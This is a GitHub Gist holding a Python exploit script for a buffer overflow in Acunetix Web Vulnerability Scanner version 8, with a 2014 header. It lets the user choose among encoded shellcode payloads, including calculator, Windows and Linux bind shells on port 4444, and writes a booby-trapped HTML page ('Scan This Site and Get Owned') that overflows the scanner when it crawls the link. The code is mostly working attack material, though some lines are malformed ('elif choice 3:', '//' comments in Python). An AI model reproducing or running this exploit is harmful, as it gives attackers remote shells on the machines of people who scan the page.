Created
June 9, 2014 00:41
-
-
Save oakkaya/5ab404c67b42fe81c6df to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Title: Acunetix Web Vulnerability Scanner Buffer Overflow Exploit | |
# Version: 8 | |
# Build: 20120704 | |
# Tested on: Windows XP SP2 en //Shellcode working on Xp and Linux x86 and x64,not working w7 or w8.You'll use different buf with head + junk mechanism to w7 or w8 system ! | |
# Vendor: http://www.acunetix.com/ | |
# Exploit Rebuild: Oğuzhan Akkaya. | |
# @Smashthekernel | |
# Original Advisory: http://an7isec.blogspot.co.il/2014/04/pown-noobs-acunetix-0day.html | |
# /!\ Author is not responsible for any damage you cause | |
# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>This POC is for educational purposes only <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< | |
''' | |
Host the generated file in a server. The victim should select the external host. Otherwise we cannot trigger | |
the vulnerability. | |
''' | |
print ('[~] Acunetix Web Vulnerability Scanner ver.8 Buffer Overflow Exploit\n') | |
while True: | |
try: | |
choice = int(raw_input("[?] Choose your payload:\n1. Calculator\n2. Bind Shell\n3.Bind Shell(/x86 Linux)\n4.Bind Shell(/x64 Linux)")) | |
except ValueError: | |
print "[!] Enter only a number" | |
continue | |
# This buf opening Calculator on Xp. | |
if choice == 1: | |
buf = "" | |
buf += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" | |
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30" | |
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" | |
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" | |
buf += "\x49\x6c\x6d\x38\x6e\x69\x75\x50\x73\x30\x77\x70\x63" | |
buf += "\x50\x6f\x79\x68\x65\x30\x31\x49\x42\x63\x54\x4c\x4b" | |
buf += "\x31\x42\x46\x50\x4c\x4b\x46\x32\x44\x4c\x6e\x6b\x70" | |
buf += "\x52\x46\x74\x4c\x4b\x64\x32\x34\x68\x64\x4f\x4e\x57" | |
buf += "\x30\x4a\x35\x76\x66\x51\x69\x6f\x64\x71\x69\x50\x6e" | |
buf += "\x4c\x65\x6c\x71\x71\x61\x6c\x77\x72\x74\x6c\x31\x30" | |
buf += "\x69\x51\x4a\x6f\x54\x4d\x53\x31\x69\x57\x39\x72\x58" | |
buf += "\x70\x71\x42\x53\x67\x6e\x6b\x63\x62\x74\x50\x6e\x6b" | |
buf += "\x53\x72\x57\x4c\x77\x71\x48\x50\x6c\x4b\x37\x30\x31" | |
buf += "\x68\x4e\x65\x4b\x70\x43\x44\x31\x5a\x36\x61\x58\x50" | |
buf += "\x62\x70\x6c\x4b\x31\x58\x34\x58\x6e\x6b\x42\x78\x77" | |
buf += "\x50\x36\x61\x38\x53\x6b\x53\x67\x4c\x57\x39\x4e\x6b" | |
buf += "\x77\x44\x4e\x6b\x47\x71\x69\x46\x34\x71\x49\x6f\x64" | |
buf += "\x71\x39\x50\x6c\x6c\x6f\x31\x7a\x6f\x46\x6d\x47\x71" | |
buf += "\x69\x57\x35\x68\x59\x70\x71\x65\x49\x64\x57\x73\x33" | |
buf += "\x4d\x6a\x58\x35\x6b\x43\x4d\x67\x54\x31\x65\x6d\x32" | |
buf += "\x61\x48\x6c\x4b\x51\x48\x34\x64\x66\x61\x6e\x33\x35" | |
buf += "\x36\x6c\x4b\x66\x6c\x30\x4b\x4e\x6b\x43\x68\x45\x4c" | |
buf += "\x33\x31\x4a\x73\x4c\x4b\x53\x34\x4e\x6b\x53\x31\x4e" | |
buf += "\x30\x4c\x49\x37\x34\x54\x64\x54\x64\x73\x6b\x31\x4b" | |
buf += "\x31\x71\x52\x79\x42\x7a\x53\x61\x79\x6f\x69\x70\x42" | |
buf += "\x78\x63\x6f\x43\x6a\x6c\x4b\x77\x62\x7a\x4b\x6c\x46" | |
buf += "\x53\x6d\x70\x6a\x57\x71\x4c\x4d\x4e\x65\x6e\x59\x53" | |
buf += "\x30\x45\x50\x47\x70\x52\x70\x52\x48\x44\x71\x6e\x6b" | |
buf += "\x42\x4f\x4b\x37\x6b\x4f\x78\x55\x4d\x6b\x6b\x50\x45" | |
buf += "\x4d\x56\x4a\x47\x7a\x50\x68\x4f\x56\x4e\x75\x6f\x4d" | |
buf += "\x4f\x6d\x59\x6f\x68\x55\x77\x4c\x46\x66\x51\x6c\x65" | |
buf += "\x5a\x6d\x50\x6b\x4b\x4b\x50\x44\x35\x56\x65\x6f\x4b" | |
buf += "\x71\x57\x64\x53\x54\x32\x42\x4f\x53\x5a\x33\x30\x61" | |
buf += "\x43\x49\x6f\x68\x55\x33\x53\x33\x51\x52\x4c\x43\x53" | |
buf += "\x65\x50\x41\x41" | |
print "Opened Calculator !" | |
break | |
elif choice == 2: | |
# [*]msfpayload windows/shell/bind_tcp EXITFUNC=thread LPORT=4444 R| msfencode -e x86/alpha_mixed -t python bufferRegister=ESP | |
buf = "" | |
buf += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" | |
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30" | |
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" | |
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" | |
buf += "\x69\x6c\x4b\x58\x6c\x49\x65\x50\x73\x30\x73\x30\x31" | |
buf += "\x70\x6e\x69\x48\x65\x70\x31\x59\x42\x55\x34\x4c\x4b" | |
buf += "\x42\x72\x76\x50\x6c\x4b\x73\x62\x76\x6c\x4c\x4b\x53" | |
buf += "\x62\x57\x64\x6e\x6b\x63\x42\x34\x68\x66\x6f\x48\x37" | |
buf += "\x30\x4a\x54\x66\x55\x61\x79\x6f\x55\x61\x4b\x70\x4c" | |
buf += "\x6c\x35\x6c\x30\x61\x33\x4c\x75\x52\x64\x6c\x67\x50" | |
buf += "\x6f\x31\x5a\x6f\x54\x4d\x47\x71\x48\x47\x6b\x52\x38" | |
buf += "\x70\x61\x42\x46\x37\x6e\x6b\x32\x72\x66\x70\x6e\x6b" | |
buf += "\x73\x72\x75\x6c\x73\x31\x4e\x30\x6e\x6b\x71\x50\x43" | |
buf += "\x48\x4b\x35\x49\x50\x61\x64\x72\x6a\x33\x31\x78\x50" | |
buf += "\x76\x30\x4c\x4b\x77\x38\x35\x48\x6e\x6b\x53\x68\x61" | |
buf += "\x30\x65\x51\x5a\x73\x69\x73\x77\x4c\x50\x49\x4e\x6b" | |
buf += "\x56\x54\x6e\x6b\x45\x51\x69\x46\x75\x61\x6b\x4f\x66" | |
buf += "\x51\x49\x50\x6c\x6c\x4b\x71\x78\x4f\x56\x6d\x35\x51" | |
buf += "\x4a\x67\x50\x38\x59\x70\x61\x65\x39\x64\x67\x73\x31" | |
buf += "\x6d\x6a\x58\x45\x6b\x43\x4d\x76\x44\x50\x75\x49\x72" | |
buf += "\x52\x78\x6e\x6b\x61\x48\x46\x44\x43\x31\x68\x53\x45" | |
buf += "\x36\x4e\x6b\x34\x4c\x42\x6b\x6e\x6b\x73\x68\x35\x4c" | |
buf += "\x57\x71\x6b\x63\x4c\x4b\x53\x34\x6c\x4b\x43\x31\x4e" | |
buf += "\x30\x4e\x69\x32\x64\x47\x54\x56\x44\x73\x6b\x61\x4b" | |
buf += "\x75\x31\x31\x49\x72\x7a\x76\x31\x59\x6f\x59\x70\x61" | |
buf += "\x48\x51\x4f\x31\x4a\x6c\x4b\x52\x32\x78\x6b\x6e\x66" | |
buf += "\x43\x6d\x42\x48\x67\x43\x45\x62\x37\x70\x63\x30\x72" | |
buf += "\x48\x42\x57\x32\x53\x76\x52\x31\x4f\x42\x74\x50\x68" | |
buf += "\x52\x6c\x64\x37\x64\x66\x44\x47\x39\x6f\x69\x45\x4d" | |
buf += "\x68\x5a\x30\x65\x51\x57\x70\x63\x30\x76\x49\x59\x54" | |
buf += "\x31\x44\x52\x70\x45\x38\x64\x69\x4f\x70\x50\x6b\x57" | |
buf += "\x70\x59\x6f\x7a\x75\x52\x70\x52\x70\x32\x70\x52\x70" | |
buf += "\x47\x30\x30\x50\x67\x30\x66\x30\x63\x58\x48\x6a\x54" | |
buf += "\x4f\x49\x4f\x69\x70\x79\x6f\x4e\x35\x4c\x57\x45\x61" | |
buf += "\x6b\x6b\x51\x43\x73\x58\x73\x32\x57\x70\x34\x51\x73" | |
buf += "\x6c\x6f\x79\x4a\x46\x42\x4a\x76\x70\x46\x36\x50\x57" | |
buf += "\x71\x78\x7a\x62\x4b\x6b\x70\x37\x72\x47\x6b\x4f\x48" | |
buf += "\x55\x62\x73\x51\x47\x72\x48\x4c\x77\x78\x69\x47\x48" | |
buf += "\x4b\x4f\x69\x6f\x48\x55\x30\x53\x52\x73\x53\x67\x45" | |
buf += "\x38\x62\x54\x5a\x4c\x67\x4b\x6d\x31\x69\x6f\x5a\x75" | |
buf += "\x72\x77\x6c\x57\x62\x48\x54\x35\x50\x6e\x32\x6d\x35" | |
buf += "\x31\x4b\x4f\x69\x45\x61\x7a\x77\x70\x32\x4a\x73\x34" | |
buf += "\x62\x76\x61\x47\x70\x68\x63\x32\x78\x59\x4a\x68\x31" | |
buf += "\x4f\x49\x6f\x48\x55\x6e\x6b\x46\x56\x51\x7a\x71\x50" | |
buf += "\x62\x48\x65\x50\x46\x70\x63\x30\x43\x30\x31\x46\x32" | |
buf += "\x4a\x55\x50\x71\x78\x31\x48\x49\x34\x66\x33\x6b\x55" | |
buf += "\x59\x6f\x4e\x35\x4f\x63\x72\x73\x71\x7a\x37\x70\x30" | |
buf += "\x56\x70\x53\x71\x47\x45\x38\x74\x42\x38\x59\x6f\x38" | |
buf += "\x33\x6f\x49\x6f\x69\x45\x67\x71\x79\x53\x76\x49\x6b" | |
buf += "\x76\x6f\x75\x48\x76\x62\x55\x58\x6c\x49\x53\x41\x41" | |
print "[+] Connect on port 4444" | |
print "[+] Got Connect !" | |
break | |
elif choice 3: | |
# [*]msfpayload payload/linux/x86/meterpreter/bind_tcp msfencode -e x86/alpha_mixed LPORT=4444 | |
buf = "" | |
buf += "\x89\xe1\xdd\xc2\xd9\x71\xf4\x5b\x53\x59\x49\x49\x49" | |
buf += "\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43" | |
buf += "\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41" | |
buf += "\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42" | |
buf += "\x58\x50\x38\x41\x42\x75\x4a\x49\x45\x61\x69\x4b\x4b" | |
buf += "\x47\x48\x63\x52\x73\x77\x33\x56\x33\x53\x5a\x46\x62" | |
buf += "\x6d\x59\x6d\x31\x58\x30\x51\x76\x6a\x6d\x4b\x30\x63" | |
buf += "\x6b\x33\x6e\x46\x32\x50\x68\x67\x72\x57\x70\x64\x51" | |
buf += "\x43\x6c\x63\x5a\x72\x30\x50\x51\x56\x30\x4f\x79\x68" | |
buf += "\x61\x53\x5a\x51\x76\x71\x48\x68\x4d\x4f\x70\x6c\x49" | |
buf += "\x31\x51\x74\x44\x6c\x73\x76\x64\x6e\x50\x73\x56\x38" | |
buf += "\x4d\x6d\x50\x31\x53\x4c\x70\x72\x46\x4a\x6d\x6d\x50" | |
buf += "\x6c\x53\x66\x39\x70\x6a\x47\x4f\x36\x38\x78\x4d\x6f" | |
buf += "\x70\x73\x79\x43\x49\x38\x78\x63\x58\x44\x6f\x34\x6f" | |
buf += "\x34\x33\x55\x38\x50\x68\x34\x6f\x43\x52\x63\x59\x50" | |
buf += "\x6e\x4f\x79\x6d\x33\x30\x50\x71\x43\x6c\x49\x69\x71" | |
buf += "\x38\x30\x64\x4b\x78\x4d\x6f\x70\x41\x41" | |
print "[+] Connect on port 4444" | |
print "[+] Got Connect !" | |
break | |
elif choice 4: | |
# [*]msfpayload windows/shell/bind_tcp msfencode -e LPORT=4444 x64/xor succeeded with size 127 (iteration=1) | |
buf = "" | |
buf += "\x48\x31\xc9\x48\x81\xe9\xf5\xff\xff\xff\x48\x8d\x05" | |
buf += "\xef\xff\xff\xff\x48\xbb\xa6\x7c\xbe\xcc\xcb\xc8\x32" | |
buf += "\x67\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4" | |
buf += "\xcc\x55\xe6\x55\xa1\xca\x6d\x0d\xa7\x22\xb1\xc9\x83" | |
buf += "\x5f\x60\xa0\xa2\x58\xbc\xcc\xda\x94\x7a\xee\x40\x16" | |
buf += "\xae\x96\xa1\xf9\x6a\x68\xa3\x16\x8c\x94\xc4\xcd\x7a" | |
buf += "\x56\x50\x16\x95\x94\xc4\xcd\x7a\xf0\xcc\x7f\xe0\x84" | |
buf += "\x34\x06\x58\x46\xfe\x73\xbb\xb9\x3d\xa2\x09\x3f\x3f" | |
buf += "\x34\x05\xe3\xa9\xa1\x5c\x48\xd5\x14\xbe\x9f\x83\x41" | |
buf += "\xd5\x35\xf1\x34\x37\x2a\xc4\xcd\x32\x67" | |
print "[+] Connect on port 4444" | |
print "[+] Got Connect !" | |
break | |
else: | |
print "[-] Invalid Choice" | |
continue | |
head = ("<html>\ | |
<body>\ | |
<center><h1>Scan This Site and Get Owned :)</h1></center><br>") | |
junk = ("\ | |
<a href= \"http://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ | |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ | |
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ | |
AAAAAAA") | |
edx = "500f" | |
junk2 = "BBBB" | |
# jmp esp | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [WINHTTP.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\WINHTTP.dll) | |
eip = "\x49\x63\x52\x4d" | |
buf += "\">" | |
tail = ("<img src=\"http://i.imgur.com/BimAoR0.jpg\">\ | |
</body>\ | |
</html>") | |
exploit = head + junk + edx + junk2 + eip + buf + tail //---> Exploit working mechanism | |
filename = "Exploit.htm" | |
file = open(filename, "w") | |
file.write(exploit) | |
file.close() | |
print "[~] " + str(len(exploit)) + " Bytes written to file" //---> Sended Bytes |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment